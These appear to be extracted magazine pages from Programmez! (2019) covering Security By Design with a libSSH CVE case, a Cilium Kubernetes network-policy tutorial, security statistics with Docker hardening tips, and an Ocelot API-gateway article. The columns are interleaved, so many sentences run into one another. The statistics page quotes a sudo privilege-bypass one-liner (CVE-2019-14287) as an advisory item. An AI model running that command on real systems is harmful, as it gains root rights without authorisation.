est déjà à même d’identifier les fonc- classiques du projet. l’équipe de développement. Une analy- l’audit (CESTI) ou l’organisme certi-
tions de sécurité à intégrer et de propo- se est alors faite afin d’identifier les fiant.
ser les exigences nécessaires en Un accompagnement faux positifs ou autres cas d’applica-
termes de sécurité. Tenue à jour et au fil de l’eau tions de la vulnérabilité. Si les vulnéra- « Mieux vaut
concertée avec les équipes de dévelop- Grâce à des référentiels du type bilités sont avérées, l’équipe propose prévenir que guérir »
pement, une analyse de risque pourra « OWASP Top 10 Vulnerabilities » [2] ou alors des corrections définitives (mise à La gestion des vulnérabilités sur leur
accompagner les différentes équipes « OWASP Top 10 API Vulnerabilities » [3], jour, désactivation d’un module, etc.) système d’information est une problé-
sur les sujets tels que : les biens et fonc- l’équipe sécurité pourra être en mesure ou des contournements à court terme matique majeure des entreprises. Les
tions essentielles, les probabilités d’oc- d’auditer les fonctionnalités de sécuri- (empêcher l’usage d’une fonctionnali- mesures décrites précédemment per-
currences et d’impacts des risques ou té tout au long de la phase de déve- té, tracer certains comportements mal- mettent de s’approcher d’un dévelop-
les mesures mises en place. loppement, pour vérifier le respect des veillants) permettant de trouver une pement respectant le « Security By
bonnes pratiques via : meilleure solution à moyen, voire long Design » du côté de l’éditeur. À travers
La sécurité en appui • Des scanners automatiques. terme. une communication facilitée et une
de la conception • Des tests manuels Pour les vulnérabilités publiques, il est visibilité accrue sur les vulnérabilités et
L’équipe sécurité joue aussi un rôle lors • Des études de l’architecture et des nécessaire d’établir les composants à sur les dépendances du produit, le
de la conception du produit et de son configurations. surveiller par une liste de dépendances client disposera d’un gain de sécurité
architecture. C’est au moment où l’on À la fin de cette phase, un test d’intru- du produit avec leur version (voir le projet considérable. De plus, ce processus
cherche à répondre au « Comment ? » sion (en interne ou réalisé par un pres- OWASP Dependency Checker [4]). permettra aussi de réduire la probabili-
des spécifications que l’équipe en tataire) permettra de conclure sur le Pour une vulnérabilité importante, une té d’introduction d’une faille chez le
charge de la sécurité est à même de niveau de sécurité du produit. Une fois preuve de concept (PoC) devra être client et en facilitera sa correction.
présenter une recommandation sur les les éventuelles vulnérabilités identi- réalisée pour observer l’impact réel sur Finalement, les processus de « Security
produits, les langages de programma- fiées, un plan d’action devra être mis le produit ainsi que pour trouver des By Design » ont des avantages pour
tion et les protocoles utilisés ainsi que en place, par l’équipe sécurité, afin de indices de compromission (IoC). Ces toutes les parties prenantes, aussi bien
les bonnes pratiques à respecter. Ces permettre aux équipes de développe- derniers serviront à détecter des tenta- côté projet, que côté client. •
dernières doivent être obtenues par ment de résoudre les éventuelles failles tives d’exploitation par le biais de
une veille régulière et l’étude des du produit. règles de Firewall ou de sondes de
fiches pratiques de l’organisme détection/prévention d’intrusion.
OWASP [1], des éditeurs ou des com- Un « Test & Learn » Josselin Mignerey est chercheur en
munautés de développeurs. Au-delà constant en production Une fois ces procédures Cybersécurité chez WALLIX Group,
de cette veille active, un inventaire Après l’intégration du produit, l’équipe mises en place : travaillant au croisement de sujets
techniques et organisationnels en
détaillé des outils et bibliothèques sécurité est en charge de transmettre Un processus de demande de certifica- sécurité informatique. Il a participé
tierces (sur lesquelles le produit s’ap- les vulnérabilités publiques (identifiées tion de produit auprès d’une autorité à leurs applications dans différents
(ex : La Certification de Sécurité de 1er domaines comme la réponse à
incident ou les développements
Niveau de l’ANSSI [5], l’ISO/IEC 27001
LE CAS « LIBSSH » pour le processus de développement)
internes, en particulier chez les
éditeurs de solution.
En octobre 2018, l’éditeur de la bibliothèque libSSH, que WALLIX utilise dans son Bas-
tion, a annoncé qu’elle était vulnérable à la CVE-2018-10933 et recommandait sa mise
à jour. Après une qualification de la vulnérabilité par son équipe sécurité et la réalisation Références
d’un PoC, WALLIX a été capable de voir son impact sur le produit WALLIX Bastion, les [1] https://cheatsheetseries.owasp.org
versions concernées ainsi que les IoC laissés par un éventuel attaquant exploitant la [2] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
faille. Une communication [6] a donc été faite sur le site de WALLIX à destination des
[3] https://www.owasp.org/index.php/OWASP_API_Security_Project
clients pour proposer une solution à court terme (ne plus autoriser l’authentification par
[4] https://www.owasp.org/index.php/OWASP_Dependency_Check
clé publique en SSH) et une correction complète à plus long terme (la mise à jour). Une
communication des IoC a également eu lieu auprès du CERT-FR [7] pour permettre aux [5] https://www.ssi.gouv.fr/administration/produits-certifies/cspn/
clients de détecter a posteriori l’exploitation de l’attaque dans les logs du Bastion. [6] https://www.wallix.com/wallix-security-advisories-alerts/
[7] https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-012/

38 //programmez.com
Pierre-Yves Aillet
Consultant formateur à Zenika Nantes SÉCURITÉ
Cet article a été co-écrit avec Éric Briand
(https://twitter.com/eric_briand)

Cilium :
un firewall pour les conteneurs �


Dans un post sur notre blog, nous avions présenté eBPF
(https://blog.zenika.com/2019/07/15/decouverte-ebpf/). Ce mécanisme du
niveau
kernel basé sur une machine virtuelle minimaliste permet d’inter-
cepter des évènements du kernel afin de tracer des appels de
fonctions internes ou encore de filtrer ou modifier des paquets ré-
200
seaux. Cette technologie est utilisée par le projet Cilium
(https://cilium.readthedocs.io/en/v1.5/), qui permet de mettre en place du
filtrage réseau dans le monde des conteneurs. Dans cet article,
nous vous proposons de découvrir un cas concret en vous présen-
tant sa mise en place et son utilisation sur un cluster Kubernetes.

Le modèle réseau de Kubernetes �


Lorsqu’un cluster Kubernetes est construit, le réseau des Pods doit
être vu comme à plat. C’est à dire, que chaque Pod doit pouvoir
contacter les autres via leur IP sans NAT. Cela signifie que par dé-
faut, il n’y a pas de filtrage réseau et que le réseau n’est pas
cloisonné.
Néanmoins, en fonction de la solution réseau déployée, il est pos-
sible de mettre en oeuvre les NetworkPolicies qui permettent de

mettre en place du firewalling.
La manière dont les NetworkPolicies s’appliquent est un peu parti-
culière. Par défaut, tout le trafic sortant et entrant d’un Pod sera
autorisé jusqu’à ce qu’une NetworkPolicy s’applique à lui. À partir
de ce moment-là, le trafic autre que celui explicitement autorisé �
est bloqué.
L’exemple suivant permet de s’assurer que seuls les Pods ayant un
label “app=bookstore” puissent accéder au Pod ayant les
labels “app=bookstore” et “role=api”.

1 kind: NetworkPolicy
2 apiVersion: networking.k8s.io/v1
3 metadata:
4 name: api-allow
5 spec:
partir de Kubernetes 1.16 le groupe d’API à utiliser est obligatoire-
6 podSelector:
ment “networking.k8s.io/NetworkPolicy”, l’ancien “extensions.k8s
7 matchLabels:
.io/NetworkPolicy” ne sera plus supporté.
8 app: bookstore
Ce mécanisme est pratique lorsque l’on reste à une granularité au
9 role: api
Pod, mais les NetworkPolicies ne permettent pas de faire du filtrage
10 ingress:
sur les ressources d’une API REST : �
11 - from:
L’exemple est le suivant :
12 - podSelector:
• l’internal frontend doit pouvoir accéder à toutes les ressources REST ;
13 matchLabels:
• l’events-frontend doit seulement accéder à la ressource REST
14 app: bookstore
heroes mais pas à la ressource REST identities.
Exemple de NetworkPolicy – source : https://github.com/ahmetb/kuber- Nous allons voir comment le projet Cilium permet de réaliser ce
netes-network-policy-recipes/blob/master/02-limit-traffic-to-an-application.md type de filtrage.
Pour en savoir plus sur les NetworkPolicy et consulter des exemples
illustrés, vous pouvez vous référer au dépôt Github kubernetes-net- Présentation du projet
work-policy-recipes qui est assez complet et très didactique. Le projet Cilium a été créé par Thomas Graf (CTO et co-fondateur
Au passage, si vous utilisez déjà les NetworkPolicies, notez qu’à de Isovalent) en 2015. Le projet est open-source et hébergé sur

programmez.com// 39
SÉCURITÉ
Github : https://github.com/cilium/cilium 26 kind: CiliumNetworkPolicy
Il est développé en utilisant les langages go et C. Le langage C 27 metadata:
étant principalement utilisé pour la partie eBPF. 28 name: allow-only-heroes-api
Leur travail sur Cilium les a amenés à maintenir la documentation 29 namespace: api
officielle d’eBPF et XDP ainsi qu’à produire de nombreuses contri- 30 spec:
butions pour le noyau Linux sur le sujet. 31 endpointSelector:
32 matchLabels:
Déploiement dans un cluster Kubernetes 33 app: heroes-api
Cilium est un projet qui peut se déployer avec Docker, Mesos et 34 ingress:
Kubernetes. Vous pouvez retrouver le détail des différents modes 35 - fromEndpoints:
de déploiement dans la documentation officielle. 36 - matchLabels:
Le projet Kubernetes indique comment l’installer sur un cluster créé 37 k8s:io.kubernetes.pod.namespace: events
avec kubeadm. 38 toPorts:
Vous pouvez également consulter ce projet où nous avons mis en 39 - ports:
place Cilium pour illustrer le propos. 40 - port: "80"
Le projet Cilium se déploie sous la forme d’un Operator 41 protocol: TCP
Kubernetes. C’est un type de composant spécifique qui va gérer 42 rules:
toute la complexité de l’applicatif déployé. Dans le cas de Cilium, 43 http:
cela veut dire que l’opérateur créera : 44 - method: "GET"
• les CRDs nécessaires à Cilium ; 45 path: "/heroes/?.*"
• le cluster etcd dans lequel Cilium stocke son état ;
• le DaemonSet de déploiement de l’agent Cilium sur chacun des A la différence des NetworkPolicies, les sélecteurs des
noeuds du cluster. CiliumNetworkPolicies ne sont pas sur les pods mais sur des end-
points (que nous allons définir juste après). Cilium les identifie en
Utilisation se basant sur un système de label agnostique de l’orchestrateur.
Une fois Cilium déployé, il est possible de créer des Pour pouvoir sélectionner un endpoint par rapport à un label spéci-
CiliumNetworkPolicy. Celles-ci se présentent comme des fique à Kubernetes (comme le namespace), on doit préfixer le label
NetworkPolicies Kubernetes classiques, avec en plus la possibilité par k8s :
de définir des règles complémentaires.
1 k8s:io.kubernetes.pod.namespace: events
Par exemple, pour implémenter les règles de filtrages présentées
dans l’exemple précédent, il faut créer les deux NetworkPolicies Ce qui nous intéresse surtout dans ce cas-là, ce sont les règles sui-
ci-dessous : vantes autorisant les requêtes GET sur les ressources identities et
heroes :
1 apiVersion: cilium.io/v2
2 kind: CiliumNetworkPolicy 1 rules:
3 metadata: 2 http:
4 name: allow-heroes-identity-api 3 - method: "GET"
5 namespace: api 4 path: "/heroes/?.*"
6 spec: 5 - method: "GET"
7 endpointSelector: 6 path: "/identities/?.*"
8 matchLabels:
On peut avoir le même type de règles pour kafka :
9 app: heroes-api
10 ingress: 1 rules:
11 - fromEndpoints: 2 kafka:
12 - matchLabels: 3 - role: produce
13 k8s:io.kubernetes.pod.namespace: internal 4 topic: events
14 toPorts: 5 - role: consume
15 - ports: 6 topic: events
16 - port: "80"
Fonctionnement du projet
17 protocol: TCP
En pratique, Cilium recense l’ensemble des Pods déployés sur le
18 rules:
cluster et leur associe la notion de Endpoint. Un Endpoint sera
19 http:
identifié par son IP et portera des informations complémentaires
20 - method: "GET"
liées au pod qu’il représente (namespace, labels, …). Ces informa-
21 path: "/heroes/?.*"
tions seront stockées et mises à disposition des programmes BPF
22 - method: "GET"
sous forme de map eBPF partagées entre l’espace utilisateur et le
23 path: "/identities/?.*"
noyau de chacun des noeuds.
24 ---
L’exploitation de ces informations et des règles définies par les
25 apiVersion: cilium.io/v2

40 //programmez.com
SÉCURITÉ
NetworkPolicies permettent aux programmes BPF de filtrer les pa-
quets. Si vous souhaitez en savoir plus, les programmes BPF de
Cilium sont disponibles dans le répertoire bpf du projet.�
En complément, les règles de la couche 7 (http, kafka, …) s’ap-
puient sur un proxy envoy qui met en place les règles de filtrage
spécifiques.

Outillage
Cilium n’est pas fait que pour Kubernetes, ainsi il fournit un CLI qui
permet d’interagir avec le démon Cilium, que celui-ci soit déployé
sur un cluster Kubernetes, Mesos Marathon, …
Ce CLI permet notamment de simplifier le débogage de
NetworkPolicy. L’exemple ci-dessous permet de connaître les règles
qui s’appliquent pour le trafic entre deux Pods :

1 cilium policy trace --src-k8s-pod NAMESPACE:POD_FROM --dst-k8s-pod NAMESPACE


:POD_TO

Exemple de sortie :
root@worker-1:~# cilium policy trace --src-k8s-pod events:events-frontend-c5f46d89d-
w7qnb --dst-k8s-pod api:heroes-api-6f8ffbc95-rpbdp
1---------------------
2 Tracing From: [k8s:io.kubernetes.pod.namespace=events, k8s:io.cilium.k8s.policy. �
3 serviceaccount=default, k8s:io.cilium.k8s.policy.cluster=default, k8s:app=events Source : https://cilium.readthedocs.io/en/v1.6/architecture/#endpoint-to-endpoint.
4 -frontend, k8s:team=events] == To: [k8s:io.cilium.k8s.policy.cluster=default, k8s:
5 app=heroes-api, k8s:team=api, k8s:io.kubernetes.pod.namespace=api, k8s:io.cilium.
6 k8s.policy.serviceaccount=default] http://www.brendangregg.com/ebpf.html
7 * Rule {"matchLabels":{"any:app":"heroes-api","k8s:io.kubernetes.pod. https://jvns.ca/blog/2017/06/28/notes-on-bpf—ebpf/
8 namespace":"api"}}: selected https://www.youtube.com/watch?v=_Iq1xxNZOAo
9 Allows from labels {"matchLabels":{"k8s:io.kubernetes.pod.namespace":"internal"}} https://cilium.io/blog/2018/12/03/cni-performance
10 Labels [k8s:io.kubernetes.pod.namespace=events k8s:io.cilium.k8s.policy.serviceaccount=default https://itnext.io/benchmark-results-of-kubernetes-network-plugins-cni-over-10gbit-
11 k8s:io.cilium.k8s.policy.cluster=default k8s:app=events-frontend k8s:team=events] not found s-network-updated-april-2019-4a9886efe9c4
12 * Rule {"matchLabels":{"any:app":"heroes-api","k8s:io.kubernetes.pod.namespace":"api"}}: selected
13 Allows from labels {"matchLabels":{"k8s:io.kubernetes.pod.namespace":"events"}} Les liens :
14 Found all required labels https://kubernetes.io/docs/concepts/cluster-administration/networking/#the-kuber-
Rule restricts traffic to specific L4 destinations; deferring policy decision to L4 policy stage netes-network-model
2/6 rules selected https://kubernetes.io/docs/concepts/cluster-administration/networking/#how-to-
Found no allow rule implement-the-kubernetes-networking-model
Label verdict: undecided https://kubernetes.io/docs/concepts/services-networking/network-policies/#the-net-
Final verdict: DENIED workpolicy-resource
Pour en savoir plus, vous pouvez consulter la documentation. https://github.com/ahmetb/kubernetes-network-policy-recipes
https://kubernetes.io/docs/setup/release/notes/#deprecations-and-removals
Dernières évolutions https://github.com/cilium/cilium
Cilium vient de passer en 1.6 et apporte quelques nouvelles fonc- https://golang.org/
tionnalités très intéressantes. Nous retiendrons : https://fr.wikipedia.org/wiki/C_(langage)
• La possibilité de remplacer kube-proxy de Kubernetes par Cilium ; https://lwn.net/Articles/740157/
• Minimiser la compilation de programmes BPF sur les noeuds en https://cilium.readthedocs.io/en/v1.5/bpf/
revoyant la façon dont ils sont générés ; https://cilium.readthedocs.io/en/v1.5/gettingstarted/#installation
La possibilité de coupler Cilium avec un autre network addon CNI. https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-clus-
Vous pouvez retrouver les releases notes la version 1.6 ici : ter-kubeadm/#more-information
https://cilium.io/blog/2019/08/20/cilium-16/#16Highlights. https://github.com/ebriand/conf-cilium/tree/master/setup-cluster
Dans le futur, le projet va encore évoluer et apporter encore plus de https://coreos.com/operators/
stabilité en s’assurant que Cilium fonctionne sur des clusters https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/
Kubernetes de grande taille (5k Nodes, 20k Pods, 10k Services). https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/
https://github.com/envoyproxy/envoy
Références https://cilium.readthedocs.io/en/v1.5/cmdref/
https://github.com/ebriand/conf-cilium https://github.com/cilium/cilium/projects/34
https://cilium.io/ https://github.com/cilium/cilium/projects/18

programmez.com// 41
Abonnez-vous à Programmez! Abonnez-vous à Programmez! Abonne

Offres 2019
Nos classiques 1 an ....................................................... 49E
1 an 11 numéros
11 numéros 49E* + 1 vidéo ENI au choix :
• Symfony 3*
2 ans Développer des applications web robustes

22 numéros 79E* (valeur : 29,99 E)

• Raspberry Pi*
Etudiant Apprenez à réaliser et piloter une lumière d’ambiance
(valeur : 29,99 E)
1 an - 11 numéros 39E*
* Tarifs France métropolitaine

2 ans ..................................... 79E


22 numéros
Abonnement numérique + 1 vidéo ENI au choix :

PDF .......................................................................................... 35E • Symfony 3*


Développer des applications web
1 an - 11 numéros robustes
(valeur : 29,99 E)

Option : accès aux archives 10E • Raspberry Pi*


Apprenez à réaliser et piloter une lumière d’ambiance
(valeur : 29,99 E)
Souscription uniquement sur
www.programmez.com * Offre limitée à la France métropolitaine

Toutes nos offres sur www.programmez.com

Oui, je m’abonne ABONNEMENT à retourner avec votre règlement à :


Service Abonnements PROGRAMMEZ, 4 Rue de Mouchy, 60438 Noailles Cedex.

n Abonnement 1 an : 49 E n Abonnement 1 an : 49 E
n Abonnement 2 ans : 79 E 11 numéros + 1 vidéo ENI au choix : n Vidéo : Symfony 3 PROG 234
Valable jusqu’au 29 novembre 2019

n Abonnement 1 an Etudiant : 39 E n Abonnement 2 ans : 79 E n Vidéo : Raspberry Pi


22 numéros + 1 vidéo ENI au choix :
Photocopie de la carte d'étudiant à joindre

n Mme n M. Entreprise : III III III III III III III III III III Fonction : III III III III III III III III III III III III III III III III

Prénom : III III III III III III III III III III III III III Nom : III III III III III III III III III III III III III III III III III III III III

Adresse : III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III III

Code postal : III III III III III Ville : III III III III III III III III III III III III III III III III III III III III III III III III III III III

email indispensable pour l'envoi d'informations relatives à votre abonnement


E-mail : III III III III III III III III III III III III III III @ III III III III III III III III III III III III III III III III III III III III III

n Je joins mon règlement par chèque à l’ordre de Programmez ! n Je souhaite régler à réception de facture * Tarifs France métropolitaine
ez-vous à Programmez! Abonnez-vous à Programmez! Abonnez-vous à

NOUVEAU ! OFFRES 2019


1 an 2 ans
11 numéros 22 numéros

+ Histoire de la + Histoire de la
micro-informatique micro-informatique
1973 à 2007 1973 à 2007

+ clé USB Programmez! + Programmez!


clé USB

+ pack Maker 2 cartes Attention : quantité limitée

69E * 99E *

1 an 2 ans
11 numéros 22 numéros
+ 1 an de + 2 ans de
PHARAON Magazine PHARAON Magazine
(Histoire / Archéologie) (Histoire / Archéologie)
4 numéros 8 numéros

69E * 99E *

OFFRES SPÉCIALES D’ABONNEMENT DISPONIBLES SUR WWW.PROGRAMMEZ.COM


(*Offre limitée à la France métropolitaine. Pour l’étranger ; nous consulter)
SÉCURITÉ

La sécurité François Tonic

ce n’est pas que pour faire peur


Faille CVE-2017-5638 Microsoft 78 % des projets open source utilisés Sudo
découverte en mars 2017, 668 vulnérabilités CVE référencées contenaient des vulnérabilités n’est pas joué
corrigée & comblée en juillet 2017 pour 2019. Un peu moins que 2018 Des failles parfois vieilles de +6 Sudo est tellement pratique et si
mais en forte augmentation depuis ans ! 54 % des failles représentent puissant ! Tous les admins et utilisa-
Android ou iOS ? 2014. un risque élevé. teurs avancés Linux et Unix
1655 CVE pour iOS depuis 2007 (1) Données provenant de la session sur les connaissent cette commande. Mi-
2563 CVE pour Android depuis 2009 OpenJDK outils SCA de Thalès DIS, Assises de la octobre, une faille a été décrite avec
… Java a des vulnérabilités. Il est impor- Sécurité 2019 le paramètre ALL :
0 CVE pour Windows Phone depuis tant de regarder les alertes et de
« CVE tu auras aussi » sudo u#-1 /usr/bin/emacs
2013 / troll consulter les OpenJDK Vulnerability
Advisory qui sont régulièrement publiés. (Yoda) Potentiellement : on peut bypasser
Wordpress : Mi-octobre, nous avions 18 CVE, les restrictions utilisateurs… Bref :
au top de sa forme toutes concernent les versions 11 et Top 5 des mettez à jour !
A en croire, cvedetails.com, 13, mais aussi Java 7 et 8. vulnérabilités
Wordpress est un joli nid à vulnéra- Page officielle : open source Quelques conseils
bilités. Soit, elles sont dans le cœur https://openjdk.java.net/groups/vulnerability/a Pour le mois de septembre, pour Docker
de la plateforme, soit dans les exten- dvisories/ WhiteSource proposait une jolie sé- 1 on limite les privilèges et les accès
sions dont la qualité est aléatoire lection de vulnérabilité : aux ressources système
ainsi que les mises à jour. Jusqu’à 2017 : analyse des • Curl : avec un excellent niveau de 2 on vire l’accès root des images. Eh
présent, on dénombre 294 CVE. projets chez Thalès(1) criticité oui, on oublie que par défaut, root
Rassurez-vous, Drupal est pas mal +257 composants open source • CVE-2019-5481 est activé (= pas bien).
aussi : 194 CVE connus ! Ouf, il n’y 96 % des projets développés • CVE-2019-5482 2b on n’exécute pas un conteneur
aura pas de jaloux. contiennent des composants ouverts en -- privileged
• Android : pas mal aussi sur le ni-
3 on met à jour les composants logi-
veau de risque.
ciels des images
Rappel du top 10 des failles OWASP 2017 • CVE-2019-2177
4 on n’utilise pas une image douteu-
• Linux : haut niveau sur les noyaux se ou non mise à jour depuis
Niveau Détection de avant la 5.2.3 plusieurs mois ou années. Et on
Impact
de risque la vulnérabilité • CVE-2019-15926 regarde si l’image est signée.
Serveur 5 ne multiplier pas les images, es-
☹ 
• Python : belle vulnérabilité, mais sayer de rationaliser et de
1 Faille d’injection (de code) Base de données
Langage pas la pire J standardiser. Vous gagnerez en
• CVE-2019-16056 stabilité et en sécurité.
☹ 
Violation de gestion
2 Langage • Swagger-UI : niveau moyen de cri-
d’authentification et de session
ticité. Peu mieux faire.
☹ 
Langage
3 Exposition de données sensibles
Serveur
• WS-2019-0234 « Sauron ou Gandalf,
Pour voir le détail, consultez les il faut choisir. »
 
XML External Entity (XXE) Langage
4 fiches de lecture. (Saroumane)
NOUVEAU Serveur

5 Contrôle d’accès cassé


  Serveur
Historique année par année
☹ 
Serveur Les vulnérabilités selon la criticité. Graph de NIST.
6 Mauvaise configuration de sécurité
Base de données

7 Cross Site Scripting (XSS)


  Langage

 
Desérialisation non sécurisée Langage
8
NOUVEAU Serveur

 ☹
Utilisation de composants avec
9 Langage
des vulnérabilités connues

 
Gestion de log insufissante et de
10 Serveur
monitoring NOUVEAU
La nouvelle version du TOP est attendue pour 2020. Nous sommes trop impatients.

44 //programmez.com
.NET
Cédric DERUE
Microsoft MVP Azure
[email protected]

Implémenter une passerelle d’API pour des


microservices avec ASP.NET Core et Ocelot
Dans cet article, nous allons nous intéresser à un pattern indispensable aux microservices en production : le niveau
pattern API Gateway (en français, “passerelle d’API”). Ce pattern permet d’exposer un point d’entrée dont le
rôle est de garantir l’accès cohérent et sécurisé vers un ensemble de microservices sous-jacents du back-end. 200
Pour mettre en place une passerelle d’API, les solutions disponibles sont nombreuses. Ici, nous allons aborder une approche
de mise en œuvre utilisant ASP.NET Core et un framework dédié à la fonction de passerelle d’API nommé Ocelot.

QUELQUES RAPPELS SUR


LES MICROSERVICES
Les microservices constituent désormais une approche populaire qui consiste à
décomposer le back-end (et parfois même le front-end) d’une application sous
la forme d’un ensemble de petits services appelés microservices. Dans le back-
end, chaque microservice communique avec d’autres microservices en utili-
sant divers protocoles tels que HTTP(S), WebSocket ou AMQP.
Un microservice expose un ensemble d’API bien délimité et possède son
propre cycle de vie. Ceci signifie qu’un microservice est autonome, testable,
déployable et scalable de manière indépendante.
Ainsi, les microservices garantissent une agilité sur le long terme car la mise à
jour, la réécriture ou le remplacement d’un microservice n’aura pas d’impact La partie back-end est constituée d'un ensemble de microservices. Chaque
sur les autres microservices (sauf si l’on change bien entendu le contrat d’inter- microservice expose des fonctionnalités comprises dans un périmètre bien défini.
face du microservice concerné). Sur le diagramme, le découpage des microservices est fait de la manière sui-
Si les microservices offrent de nombreux avantages, ils induisent également un vante :
certain nombre de nouveaux challenges. Pour apporter des solutions à ces dif- • Le microservice Identity (gestion de l’identité des utilisateurs) ;
férents challenges, plusieurs patterns architecturaux sont indispensables à • Le microservice Catalog (gestion des articles au catalogue) ;
connaître. • Le microservice Ordering (gestion des commandes) ;
Aussi, pour aider les architectes et les développeurs dans leur apprentissage de • Le microservice Basket (gestion du panier) ;
ces patterns, les éditeurs de logiciels et plusieurs communautés ont publié dif- • Le microservice Marketing (gestion des campagnes) ;
férentes ressources (livres au format électronique, exemples de code à disposi- • Le microservice Locations (gestion de la localisation des utilisateurs).
tion sous GitHub, etc.).
Dans une telle architecture, chaque microservice possède ses propres données
Présentation de l’architecture microservices de stockées selon une logique basée sur des technologies différentes. Le choix
référence eShopOnContainers de Microsoft d’une technologie ou d’une autre repose sur les cas d’usage du microservice.
L’une des publications les plus intéressantes sur l'architecture et le développe- Ainsi, pour un microservice dont les données doivent pouvoir être lues et écrites
ment de microservices est très certainement l’application open source de réfé- rapidement sans nécessairement être durables, une base NoSQL de type clé-
rence eShopOnContainers de Microsoft. valeur (Redis par exemple) est parfaitement adaptée. Autre exemple, pour un
Les sources de cette application sont disponibles sous GitHub à l’adresse sui- microservice qui stocke des données financières nécessitant des mises à jour
vante : https://github.com/dotnet-architecture/eShopOnContainers transactionnelles, une base de données relationnelles (ou une base de don-
Dans eShopOnContainers, les microservices sont basés sur le framework .NET nées NoSQL qui supporte les transactions) est fortement recommandée.
Core et les conteneurs Docker. Toutefois les patterns architecturaux mis en Pour continuer, l'intercommunication asynchrone entre les microservices est
avant sont quant à eux applicables à d’autres langages, frameworks ou plate- assurée par un bus de messagerie basé sur un cluster RabbitMQ dans des
formes. conteneurs Docker ou Azure Service Bus. Ainsi la publication de message(s)
Le diagramme ci-dessous donne une vue d'ensemble de l'architecture des dans le bus par un microservice permet à un ou plusieurs autres microservices
microservices : de consommer ce(s) message(s).
Enfin, la région délimitée par un encadré rouge sur le diagramme indique la
présence de, non pas une, mais plusieurs passerelles d’APIs dont nous allons
voir le(s) rôle(s) à présent.

programmez.com// 45
.NET

Comprendre les rôles d’une passerelle d'APIs Installer Ocelot


Selon la solution mise en œuvre, une passerelle d'API peut offrir des fonction- Ocelot est prévu pour fonctionner avec ASP.NET Core uniquement et cible .net
nalités plus ou moins nombreuses et plus ou moins avancées. standard2.0. Il fonctionne donc ainsi dans n’importe quel environnement
Nous avons listé 3 rôles majeurs d'une passerelle d'API : d’exécution supportant .NET Standard 2.0.
• Proxy inversé : une passerelle d’API constitue le point d’entrée unique pour L’installation d’Ocelot et de toutes ses dépendances s’effectue en utilisant le
une application et redirige les requêtes entrantes vers des microservices gestionnaire de paquet NuGet depuis Visual Studio ou PowerShell comme le
(voire des services monolithiques) sous-jacents selon les règles de routage montre l’instruction ci-dessous :
configurées dans la passerelle. Install-Package Ocelot
• Centraliser les problématiques transverses et récurrentes comme l'authentifi-
cation, la gestion des autorisations, le cache de données, limiter le nombre EXEMPLES
d’appels vers un microservice, etc. D’UTILISATION D’OCELOT
• Agréger des requêtes : selon la solution utilisée, il est possible de faire de
l'agrégation de requêtes (en général des requêtes HTTP/HTTPS) vers plu- Passerelle d’API et Backend For Frontend
sieurs microservices. Ce mécanisme d’agrégation est particulièrement inté- Pour comprendre comment utiliser Ocelot, nous allons nous appuyer sur l’utili-
ressant pour les requêtes issues des applications SPA et mobile" par sation faite de ce dernier dans l’application eShopOnContainers. Dans le cas
"d'applications SPA (Single Page Application") ou mobiles". En effet, ceci évite présent, Ocelot est utilisé pour implémenter quatre passerelles d’API utilisées
de faire de nombreux allers-retours entre le front-end et le back-end lors- comme Backend For Frontend (parfois noté BFF par la suite) comme le
qu'une application a besoin d'interagir avec plusieurs microservices pour montre la figure ci-dessous :
effectuer une action.

Choisir une solution pour une passerelle d'API


Il existe aujourd’hui un écosystème très vaste de solutions gratuites ou
payantes pour implémenter une passerelle d’API. Ainsi, parmi ces solutions, on
retrouve par exemple :
• Ocelot qui fait l’objet de cet article : https://threemammals.com/ocelot ;
• NGINX Plus : https://www.nginx.com/products/nginx/ ;
• Kong Gateway : https://konghq.com/kong/ ;
• Gloo : https://gloo.solo.io/ ;
• Ambassador : https://www.getambassador.io/ ;
• GraphQL : https://graphql.org/.
Nous n’allons pas procéder à une description de toutes ces solutions car vous
trouverez tout ce qu’il faut savoir sur les capacités de chacune en allant sur les
liens correspondants.
Ainsi, lorsque que l’on dispose d’un tel nombre de solutions, il ne faut pas
négliger la sélection des critères qui vont permettre de faire le bon choix. Il fau-
dra donc évaluer les besoins en matière de routage, d’authentification et d’au-
torisation, d’agrégation des requêtes, de support des nouveaux protocoles tels Mais alors, qu’est-ce qu’un BFF ? En fait, il s’agit d’une variante du pattern API
que gRPC, de cache des données, etc. Gateway. Le rôle d’un BFF est de fournir des API sur mesure et performantes,
Il faudra également prendre en compte le type de plateforme sur laquelle vos aux différentes applications clientes qui se connectent au back-end. De cette
applications s’exécutent et les compétences techniques. Si vous prévoyez par façon, chaque application fournit une expérience utilisateur optimale.
exemple d’utiliser Ocelot, assurez-vous entre autres choses des compétences Le découpage du back-end en microservices peut conduire une application à
de votre équipe sur le framework ASP.NET Core. Autre exemple enfin, si vous interagir avec différents microservices, ce qui signifie plusieurs requêtes pour
utilisez Kubernetes pour exécuter vos microservices, Gloo et Ambassador sont pouvoir supporter une fonctionnalité métier. Aussi la fonction majeure d’un
peut-être faits pour vous. BFF est de faire de l’agrégation de requêtes (une fonction connue des passe-
relles d’API.) en fonction des besoins du front-end.
Introduction à Ocelot Si nous reprenons maintenant l'exemple de l’application eShopOnContainers,
Nous allons maintenant voir comment utiliser ASP.NET Core et Ocelot pour les BFF sont répartis par type d’application (web et mobile), mais aussi par
implémenter une passerelle d’API. grand domaine de fonctionnalités (Shopping et Marketing). Ceci donne la dis-
Ocelot est un framework open source conçu pour les développeurs qui souhai- tribution suivante :
tent implémenter des passerelles d’API pour des microservices ou des architec- • Un BFF “Shopping” pour les applications web ;
tures orientées services. • Un BFF “Shopping” pour les applications mobiles ;
Ocelot fournit les fonctionnalités essentielles pour une passerelle d’API comme • Un BFF “Marketing” pour les applications web ;
la gestion de l’authentification et des autorisations, le routage, l’agrégation des • Un BFF “Marketing” pour les applications mobiles.
requêtes, etc. Ces quatre passerelles d’API apparaissent dans les sources de l’application
Dans la suite de cet article, nous allons voir comment installer Ocelot et des eShopOnContainers telle que le montre la figure ci-dessous au niveau de l’en-
exemples d’utilisation tirés de l’application eShopOnContainers. cadré rouge :

46 //programmez.com
.NET
Sous le dossier src/ApiGateways, il y a 4 Un objet de configuration noté par la variable _cfg est passé en paramètre de
dossiers contenant chacun le code d’un la méthode AddOcelot. Dans le prochain paragraphe, nous allons voir d’où
des BFF cités précédemment, plus un Ocelot tire sa configuration.
